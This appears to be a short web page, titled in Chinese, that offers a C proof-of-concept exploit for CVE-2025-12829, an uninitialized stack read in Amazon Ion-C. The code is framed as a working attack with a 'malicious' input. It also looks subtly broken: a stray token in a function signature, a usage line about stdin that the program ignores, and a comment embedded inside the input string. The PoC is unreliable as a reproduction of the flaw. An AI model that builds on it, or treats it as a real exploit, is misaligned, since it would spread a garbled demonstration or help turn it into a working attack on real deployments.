CVE-2025-12829: Amazon Ion-C未初始化栈读取漏洞

/* CVE-2025-12829 PoC - Amazon Ion-C Uninitialized Stack Read * This PoC demonstrates the uninitialized memory read vulnerability in ion-c < v1.1.4 * Compile: gcc -o poc poc.c -lion * Usage: ./poc < malicious.ion */ #include <ion.h> #include <stdio.h> #include <string.h> /* Simulate vulnerable code path */ void process_ion_text(iOWNED ion_reader_t *reader, ion_writer_t *writer) { /* This function processes Ion data and serializes to text. * In vulnerable versions, uninitialized stack memory may be read * when handling UTF-8 escape sequences. */ ion_symbol_t value; /* Read symbol from reader - may trigger uninitialized read */ ion_reader_read_symbol(reader, &value); /* Write to writer - may leak uninitialized memory via escape sequences */ ion_writer_write_symbol(writer, &value); } /* Example malicious Ion input that triggers the vulnerability */ const char *malicious_ion = "{ key: \"\\u{1F600}\" } /* UTF-8 emoji as trigger */"; int main(int argc, char **argv) { ion_reader_t *reader = NULL; ion_writer_t *writer = NULL; ion_string_t input; /* Initialize Ion library */ ion_library_initialize(); /* Create reader from malicious input */ ion_string_from_cstr(&input, malicious_ion, strlen(malicious_ion)); ion_reader_open_string(&reader, &input); /* Create text writer - output may contain leaked memory */ ion_writer_open_string(&writer, NULL, ION_WRITER_OPTIONS_DEFAULT); ion_writer_set_output_format(writer, ION_TEXT); /* Process the malicious data */ while (ion_reader_has_elements(reader)) { process_ion_text(reader, writer); } /* Close and cleanup */ ion_reader_close(reader); ion_writer_close(writer); ion_library_shutdown(); return 0; }